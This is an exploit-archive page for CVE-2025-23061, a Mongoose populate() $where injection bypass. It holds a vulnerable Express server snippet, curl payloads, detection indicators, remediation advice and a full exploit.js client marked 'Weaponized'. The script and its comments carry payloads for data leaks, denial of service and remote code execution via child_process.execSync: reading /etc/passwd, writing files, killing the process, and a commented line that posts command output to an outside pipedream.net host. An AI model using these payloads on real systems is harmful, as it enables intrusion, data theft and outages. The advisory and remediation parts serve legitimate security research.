PoC Archive PoC Archive
Critical CVE-2025-23061 unpatched

Mongoose `populate()` Match `$where` Bypass Command Injection (CVE-2025-23061)

by dajneem23 · 2026-07-06

Metadata

FieldValue
Date Added2026-07-06
Last Updated2026-07-06
Author / Researcherdajneem23
CVE / AdvisoryCVE-2025-23061
Categoryweb
SeverityCritical
CVSS Score9.0 (per NVD)
StatusWeaponized
Tagsmongoose, nodejs, nosql-injection, mongodb, populate, where-operator, command-injection, rce, cwe-943, cwe-94, express
RelatedCVE-2024-53900

Affected Target

FieldValue
Software / SystemMongoose (Node.js MongoDB ODM)
Versions Affected< 6.13.6, >= 7.0.0 < 7.8.4, >= 8.0.0 < 8.9.5
Language / PlatformJavaScript / Node.js + Express + MongoDB
Authentication RequiredNo
Network Access RequiredYes

Summary

CVE-2025-23061 is an incomplete-fix bypass of CVE-2024-53900, a NoSQL/command injection vulnerability in the Mongoose ODM for Node.js. The original fix blocked $where operators submitted directly inside a populate() match filter, but failed to sanitize $where when it is nested inside logical operators such as $and and $or, allowing attacker-controlled JavaScript to be executed inside MongoDB’s (or, via mongo-eval-style constructor abuse, the Node.js process’s) execution context. The included PoC ships an Express + Mongoose server with endpoints that pass unsanitized, user-supplied JSON straight into populate({ match }), plus an exploit.js client demonstrating information disclosure, authentication bypass, denial-of-service (infinite loops/sleeps), and remote code execution via this.constructor.constructor(...) / global.process.mainModule.require(...) sandbox-escape tricks. Impact ranges from silent data exfiltration to full RCE on the application/database host.


Vulnerability Details

Root Cause

Mongoose’s $where sanitization for populate().match only inspected the top level of the match object. Placing $where one level deeper, inside $and/$or arrays, bypassed the check entirely, so the raw JavaScript string was still forwarded to MongoDB’s $where evaluator (which runs arbitrary JS server-side):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
// server.js - vulnerable endpoint
app.get('/posts', async (req, res) => {
  const { authorMatch } = req.query;
  let matchQuery = JSON.parse(authorMatch);   // fully attacker-controlled

  const posts = await Post.find()
    .populate({
      path: 'author',
      match: matchQuery,                      // VULNERABLE: passed through unsanitized
      select: 'username email isAdmin'
    })
    .lean();
  res.json(posts);
});

An attacker-supplied authorMatch of {"$and":[{"$where":"this.isAdmin"}]} slips past the (incomplete) top-level $where filter because the operator is nested inside $and.

Attack Vector

  1. Identify a Node.js/Express endpoint that accepts JSON (query string, POST body, or a populate()/view[...] style parameter) and forwards it into a Mongoose populate({ match }) call without validation, on a Mongoose version in the vulnerable range.
  2. Craft a match object where $where is nested inside a logical operator, e.g. {"$and":[{"$where":"this.isAdmin"}]}, to bypass the CVE-2024-53900 patch’s top-level check.
  3. Submit the payload (GET /posts?authorMatch=<json> or POST /posts/search with { authorMatch: {...} }).
  4. MongoDB evaluates the injected JavaScript expression as part of the query. Simple expressions leak data (e.g. this.isAdmin, this.email.includes('admin')); boolean/sleep expressions enable blind extraction or DoS (sleep(1000)||true, while(true){}); and JS-sandbox-escape expressions such as this.constructor.constructor("return process")() or global.process.mainModule.require('child_process').execSync(...) can reach the Node.js process itself for command execution.
  5. Response content/timing differences confirm exploitation and can be used to enumerate arbitrary boolean conditions or exfiltrate data field-by-field.

Impact

  • Information disclosure: read arbitrary fields/documents regardless of intended access control (e.g. admin flags, emails, passwords).
  • Authentication bypass: force populate.match conditions to always evaluate true, defeating authorization checks built on match filters.
  • Denial of service: inject sleep()/infinite-loop $where expressions to exhaust MongoDB worker threads.
  • Remote code execution: escape the $where JS sandbox via constructor-chain tricks to reach process/require, enabling arbitrary command execution on the server (demonstrated in exploit.js reading /etc/passwd, writing files, making outbound HTTP callbacks, or exiting the process).

Environment / Lab Setup

- Node.js >= 14
- mongoose 8.9.4 (or any version in the vulnerable ranges: <6.13.6, >=7.0.0 <7.8.4, >=8.0.0 <8.9.5)
- express ^4.18.2
- MongoDB 7.0 reachable at mongodb://localhost:27017/mongoose_cve_poc
  (docker-compose.yml in this folder spins up a local mongo:7.0 container)
- npm install && npm start   # starts the vulnerable server on :3000

Proof of Concept

PoC Script

See server.js (vulnerable app) and exploit.js (exploit client) in this folder.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
docker compose up -d
npm install
npm start                       # server listens on http://TARGET:3000

curl -X POST http://TARGET:3000/setup

curl 'http://TARGET:3000/posts?authorMatch={"$and":[{"$where":"this.isAdmin"}]}'

curl 'http://TARGET:3000/posts?authorMatch={"$and":[{"$where":"this.email.includes(\"admin\")"}]}'

curl 'http://TARGET:3000/posts?authorMatch={"$and":[{"$where":"sleep(1000) || true"}]}'

TARGET_URL=http://TARGET:3000 node exploit.js

Detection & Indicators of Compromise

- HTTP requests with query/body parameters containing raw MongoDB operators:
  "$where", combined with "$and"/"$or" nesting, in fields named match/authorMatch/query/view.
- Application logs (debug namespaces cve-2025-23061-server / cve-2025-23061-exploit)
  showing "Received query:" entries containing $where clauses.
- Anomalous MongoDB server-side JS evaluation errors or unexpectedly long query
  times (console.time('QueryTime') style latency spikes from sleep()/while(true) payloads).
- Outbound connections from the MongoDB/app host to unexpected external hosts
  (indicative of require('https')/exec-based exfiltration callbacks).
- New/unexpected files written to disk (e.g. /tmp/rce-23061-triggered.txt) or
  unexpected child processes spawned by the Node.js server process.

Signs of compromise:

  • Unexplained isAdmin/privileged-field data appearing in responses to unauthenticated or low-privilege requests.
  • MongoDB or application process CPU/latency spikes correlated with populate/match requests.
  • Node.js server process spawning shell commands (child_process.execSync) it never should.
  • Unexpected outbound HTTP requests originating from the database/application tier.
  • New files or process exits with no corresponding legitimate admin action.

Remediation

ActionDetail
Primary fixUpgrade mongoose to >= 8.9.5 (also ensure >= 7.8.4 or >= 6.13.6 for the 6.x/7.x lines), which fully sanitizes $where nested inside logical operators. See the official fix commit.
Interim mitigationNever pass raw, unvalidated user input into populate({ match }), find(), or any Mongoose query builder. Explicitly strip/reject $where (and any keys nested under $and/$or/$nor) from client-supplied filter objects, disable the MongoDB server-side $where/mapReduce JS execution where not required (security.javascriptEnabled: false for MongoDB self-managed deployments), and apply strict allow-lists for query fields instead of accepting arbitrary JSON.

References


Notes

Mirrored from https://github.com/dajneem23/CVE-2025-23061 on 2026-07-06. Repo was transferred between GitHub accounts per prior verification; scanner.js in the source repo is an empty placeholder file with no functional content.

exploit.js
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
#!/usr/bin/env node

/**
 * CVE-2025-23061 - Mongoose NoSQL Injection Exploit
 * 
 * This script demonstrates how the vulnerability in Mongoose < 8.9.5
 * can be exploited to bypass authentication and access admin-only data
 * through improper sanitization of $where operators in populate() match.
 */
const debug = require('debug')('cve-2025-23061-exploit');
const TARGET_URL = process.env.TARGET_URL || 'http://localhost:3000';

// Advanced Attack Scenarios
//
// "{{BaseURL}}/posts?authorMatch={\"$and\":[{\"$where\":\"this.isAdmin\"}]}"
// # Extract all users regardless of permissions (URL-encoded)
// curl "http://localhost:3000/posts?authorMatch=%7B%22%24and%22%3A%5B%7B%22%24where%22%3A%22true%22%7D%5D%7D"

// # Extract all users (Raw JSON)
// curl 'http://localhost:3000/posts?authorMatch={"$and":[{"$where":"true"}]}'

// # Extract admin email patterns (URL-encoded)
// curl "http://localhost:3000/posts?authorMatch=%7B%22%24and%22%3A%5B%7B%22%24where%22%3A%22this.email.includes%28%27admin%27%29%22%7D%5D%7D"

// # Extract admin email patterns (Raw JSON)
// curl 'http://localhost:3000/posts?authorMatch={"$and":[{"$where":"this.email.includes(\"admin\")"}]}'

// # Enumerate object properties (URL-encoded)
// curl "http://localhost:3000/posts?authorMatch=%7B%22%24and%22%3A%5B%7B%22%24where%22%3A%22Object.keys%28this%29.length%20%3E%200%22%7D%5D%7D"

// # Enumerate object properties (Raw JSON)
// curl 'http://localhost:3000/posts?authorMatch={"$and":[{"$where":"Object.keys(this).length > 0"}]}'

// Denial of Service (DoS) - Using CVE-2025-23061 Bypass

// # Resource exhaustion attack (URL-encoded)
// curl "http://localhost:3000/posts?authorMatch=%7B%22%24and%22%3A%5B%7B%22%24where%22%3A%22sleep%281000%29%20%7C%7C%20true%22%7D%5D%7D"

// # Resource exhaustion attack (Raw JSON)
// curl 'http://localhost:3000/posts?authorMatch={"$and":[{"$where":"sleep(1000) || true"}]}'

// # Infinite loop attack (URL-encoded)
// curl "http://localhost:3000/posts?authorMatch=%7B%22%24and%22%3A%5B%7B%22%24where%22%3A%22while%28true%29%7B%7D%22%7D%5D%7D"

// # Infinite loop attack (Raw JSON)
// curl 'http://localhost:3000/posts?authorMatch={"$and":[{"$where":"while(true){}"}]}'


//RCE
// # Attempt to access internal functions (URL-encoded)
// curl "http://localhost:3000/posts?authorMatch=%7B%22%24and%22%3A%5B%7B%22%24where%22%3A%22this.constructor.constructor%28%27return%20process%27%29%28%29%22%7D%5D%7D"

// # Attempt to access internal functions (Raw JSON)
// curl 'http://localhost:3000/posts?authorMatch={"$and":[{"$where":"this.constructor.constructor(\"return process\")()"}]}'

async function makeRequest(path, method = 'GET', data = null) {
    const url = new URL(path, TARGET_URL).toString();
    debug(`Making ${method} request to: ${url}`);
    const options = {
        method: method,
        headers: {
            'Content-Type': 'application/json',
        }
    };

    if (data) {
        options.body = JSON.stringify(data);
    }

    const res = await fetch(url, options);
    const contentType = res.headers.get('content-type');
    let body = '';

    if (contentType && contentType.includes('application/json')) {
        body = await res.json();
    } else {
        body = await res.text();
    }

    return {
        status: res.status,
        headers: Object.fromEntries(res.headers),
        body: body
    };
}

async function main() {
    console.log('╔════════════════════════════════════════════════════════════╗');
    console.log('║  CVE-2025-23061 - Mongoose NoSQL Injection PoC             ║');
    console.log('║  Target: ' + TARGET_URL.padEnd(48) + '║');
    console.log('╚════════════════════════════════════════════════════════════╝\n');

    try {
        // Step 1: Check health
        // const health = await makeRequest('/health');
        // debug('Health check response:', health);

        const setup = await makeRequest('/setup', 'POST');
        // debug('Setup response:', setup);

        // const normal = await makeRequest('/posts');
        // debug('Normal posts response:', normal);


        // const exploit1 = await makeRequest('/posts?authorMatch=' +
        //     encodeURIComponent('{"$and":[{"$where":"this.isAdmin"}]}'));
        // debug('Exploit posts response:', exploit1);

        // const exploit2 = await makeRequest('/posts?authorMatch=' +
        //     encodeURIComponent('{"$or":[{"$where":"1==1"}]}'));
        // debug('Exploit 2 posts response:', exploit2);


        // const postExploit = await makeRequest('/posts/search', 'POST', {
        //     authorMatch: {
        //         "$and": [ { "$where": "this.isAdmin === true" } ]
        //     }
        // });

        // debug('POST Exploit response:', postExploit);

        //RCE Attempt
        // const rceExploit = await makeRequest('/posts?authorMatch=' +
        //     encodeURIComponent('{"$and":[{"$where":"this.constructor.constructor(\'return this.global\')()"}]}'));
        // debug('RCE Exploit response:', rceExploit);


        //view[path]=author&view[match][][$or][$where]=fs.readFileSync('/etc/passwd','utf8')
        const rceExploit2 = await makeRequest('/posts-2?query=' +
            encodeURIComponent(JSON.stringify({
                path: "author",
                match: [ {
                    $or: [
                        // {
                        //     // "$where": "fs.readFileSync('/etc/passwd','utf8')"
                        //     // "$where": "this.constructor.constructor(\'return this.global\')()"
                        //     "$where": "global.process.mainModule.require('child_process').execSync('cat /etc/passwd').toString()"
                        // },
                        // {
                        // "$where": "global.process.mainModule.require('fs').writeFileSync('/tmp/rce-23061-triggered.txt', 'RCE during decode: ' + new Date().toISOString());"
                        // }
                        {
                            //OWASP Juice Shop Demo
                            // "$where": "typeof global != 'undefined' ? global.process.mainModule.constructor._load( 'child_process' ).exec( 'echo Hello from CVE-2025-23061' ): 1"
                            // "$where": "typeof global != 'undefined' ? global.process.mainModule.require('fs').writeFileSync('/tmp/rce-23061-triggered.txt', 'RCE during decode: ' + new Date().toISOString()): 1"
                            "$where": "typeof global != 'undefined' ? global.process.exit(1): 1"
                            // "$where": "typeof global != 'undefined' ? global.process.mainModule.require('https').request('https://3b01c17073db791fa7d328bbfa08103f.m.pipedream.net',{method: 'POST'}, (res) => {console.log(`STATUS: ${res.statusCode}`);console.log(`HEADERS: ${JSON.stringify(res.headers)}`);res.setEncoding('utf8');res.on('data', (chunk) => {console.log(`BODY: ${chunk}`);});res.on('end', () => {console.log('No more data in response.');});}).end(process.mainModule.require('child_process').execSync('uname -a')): 1"
                        }
                    ]
                } ],
                select: 'username email isAdmin'
            })));
        debug('RCE Exploit2 response:', rceExploit2.body);


    } catch (error) {
        console.error('Error during exploitation:', error);
        process.exit(1);
    }
}

main();